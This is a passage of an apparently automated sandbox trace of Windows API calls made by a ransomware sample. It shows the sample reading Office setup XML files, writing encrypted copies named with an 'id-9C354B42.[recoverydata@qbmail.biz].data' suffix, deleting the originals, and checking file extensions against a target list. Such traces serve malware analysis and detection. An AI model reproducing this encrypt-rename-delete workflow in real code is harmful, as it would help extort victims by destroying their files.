Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0092.287] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=3186) returned 1 [0092.287] CloseHandle (hObject=0x21c) returned 1 [0092.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0092.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0092.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0092.287] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.288] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0092.874] GetLastError () returned 0x0 [0092.874] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0xc72, lpOverlapped=0x0) returned 1 [0094.638] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0095.147] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.147] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.147] SetEndOfFile (hFile=0x218) returned 1 [0095.147] CloseHandle (hObject=0x218) returned 1 [0095.147] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.147] SetEndOfFile (hFile=0x21c) returned 1 [0095.148] CloseHandle (hObject=0x21c) returned 1 [0095.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.149] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0095.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.149] lstrlenW (lpString=".doc") returned 4 [0095.149] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.149] lstrlenW (lpString=".docx") returned 5 [0095.149] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0095.149] lstrlenW (lpString=".pdf") returned 4 [0095.149] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.149] lstrlenW (lpString=".xls") returned 4 [0095.149] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.150] lstrlenW (lpString=".xlsx") returned 5 [0095.150] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0095.150] lstrlenW (lpString=".ppt") returned 4 [0095.150] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.150] lstrlenW (lpString=".zip") returned 4 [0095.150] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.150] lstrlenW (lpString=".rar") returned 4 [0095.150] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.150] lstrlenW (lpString=".bz2") returned 4 [0095.150] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.150] lstrlenW (lpString=".7z") returned 3 [0095.150] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.150] lstrlenW (lpString=".dbf") returned 4 [0095.150] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.150] lstrlenW (lpString=".1cd") returned 4 [0095.150] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.150] lstrlenW (lpString=".jpg") returned 4 [0095.150] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.151] lstrlenW (lpString=".doc") returned 4 [0095.151] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.151] lstrlenW (lpString=".docx") returned 5 [0095.151] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0095.151] lstrlenW (lpString=".pdf") returned 4 [0095.151] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.151] lstrlenW (lpString=".xls") returned 4 [0095.151] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.151] lstrlenW (lpString=".xlsx") returned 5 [0095.151] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0095.151] lstrlenW (lpString=".ppt") returned 4 [0095.151] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.151] lstrlenW (lpString=".zip") returned 4 [0095.151] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.151] lstrlenW (lpString=".rar") returned 4 [0095.151] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.151] lstrlenW (lpString=".bz2") returned 4 [0095.152] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.152] lstrlenW (lpString=".7z") returned 3 [0095.152] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.152] lstrlenW (lpString=".dbf") returned 4 [0095.152] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.152] lstrlenW (lpString=".1cd") returned 4 [0095.152] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0095.152] lstrlenW (lpString=".jpg") returned 4 [0095.152] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.152] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.152] lstrlenW (lpString="SETUP.XML") returned 9 [0095.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0095.153] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=1886) returned 1 [0095.153] CloseHandle (hObject=0x21c) returned 1 [0095.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0095.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0095.154] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.154] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0095.154] GetLastError () returned 0x0 [0095.154] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x75e, lpOverlapped=0x0) returned 1 [0095.159] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x760, lpOverlapped=0x0) returned 1 [0095.160] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.160] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.161] SetEndOfFile (hFile=0x218) returned 1 [0095.161] CloseHandle (hObject=0x218) returned 1 [0095.161] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.161] SetEndOfFile (hFile=0x21c) returned 1 [0095.162] CloseHandle (hObject=0x21c) returned 1 [0095.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.162] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.163] lstrlenW (lpString=".doc") returned 4 [0095.163] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.163] lstrlenW (lpString=".docx") returned 5 [0095.163] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.163] lstrlenW (lpString=".pdf") returned 4 [0095.163] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.163] lstrlenW (lpString=".xls") returned 4 [0095.163] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.163] lstrlenW (lpString=".xlsx") returned 5 [0095.163] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.163] lstrlenW (lpString=".ppt") returned 4 [0095.163] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.163] lstrlenW (lpString=".zip") returned 4 [0095.163] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.163] lstrlenW (lpString=".rar") returned 4 [0095.163] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.163] lstrlenW (lpString=".bz2") returned 4 [0095.163] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.163] lstrlenW (lpString=".7z") returned 3 [0095.163] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.163] lstrlenW (lpString=".dbf") returned 4 [0095.163] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.164] lstrlenW (lpString=".1cd") returned 4 [0095.164] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.164] lstrlenW (lpString=".jpg") returned 4 [0095.164] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.164] lstrlenW (lpString=".doc") returned 4 [0095.164] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.164] lstrlenW (lpString=".docx") returned 5 [0095.164] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.164] lstrlenW (lpString=".pdf") returned 4 [0095.164] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.164] lstrlenW (lpString=".xls") returned 4 [0095.164] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.164] lstrlenW (lpString=".xlsx") returned 5 [0095.164] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.164] lstrlenW (lpString=".ppt") returned 4 [0095.164] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.164] lstrlenW (lpString=".zip") returned 4 [0095.164] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.165] lstrlenW (lpString=".rar") returned 4 [0095.165] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.165] lstrlenW (lpString=".bz2") returned 4 [0095.165] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.165] lstrlenW (lpString=".7z") returned 3 [0095.165] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.165] lstrlenW (lpString=".dbf") returned 4 [0095.165] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.165] lstrlenW (lpString=".1cd") returned 4 [0095.165] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0095.165] lstrlenW (lpString=".jpg") returned 4 [0095.165] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.165] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.165] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0095.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0095.166] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=6421) returned 1 [0095.167] CloseHandle (hObject=0x21c) returned 1 [0095.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0095.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0095.167] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.167] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0095.168] GetLastError () returned 0x0 [0095.168] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x1915, lpOverlapped=0x0) returned 1 [0095.169] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0095.171] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.171] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xee, lpOverlapped=0x0) returned 1 [0095.171] SetEndOfFile (hFile=0x218) returned 1 [0095.171] CloseHandle (hObject=0x218) returned 1 [0095.171] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.171] SetEndOfFile (hFile=0x21c) returned 1 [0095.172] CloseHandle (hObject=0x21c) returned 1 [0095.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.172] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.173] lstrlenW (lpString=".doc") returned 4 [0095.173] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.173] lstrlenW (lpString=".docx") returned 5 [0095.173] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0095.173] lstrlenW (lpString=".pdf") returned 4 [0095.173] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.173] lstrlenW (lpString=".xls") returned 4 [0095.173] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.173] lstrlenW (lpString=".xlsx") returned 5 [0095.173] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0095.173] lstrlenW (lpString=".ppt") returned 4 [0095.173] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.173] lstrlenW (lpString=".zip") returned 4 [0095.173] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.173] lstrlenW (lpString=".rar") returned 4 [0095.173] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.173] lstrlenW (lpString=".bz2") returned 4 [0095.173] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.173] lstrlenW (lpString=".7z") returned 3 [0095.174] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.174] lstrlenW (lpString=".dbf") returned 4 [0095.174] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.174] lstrlenW (lpString=".1cd") returned 4 [0095.174] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.174] lstrlenW (lpString=".jpg") returned 4 [0095.174] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.174] lstrlenW (lpString=".doc") returned 4 [0095.174] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.174] lstrlenW (lpString=".docx") returned 5 [0095.174] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0095.174] lstrlenW (lpString=".pdf") returned 4 [0095.174] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.175] lstrlenW (lpString=".xls") returned 4 [0095.175] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.175] lstrlenW (lpString=".xlsx") returned 5 [0095.175] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0095.175] lstrlenW (lpString=".ppt") returned 4 [0095.175] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.175] lstrlenW (lpString=".zip") returned 4 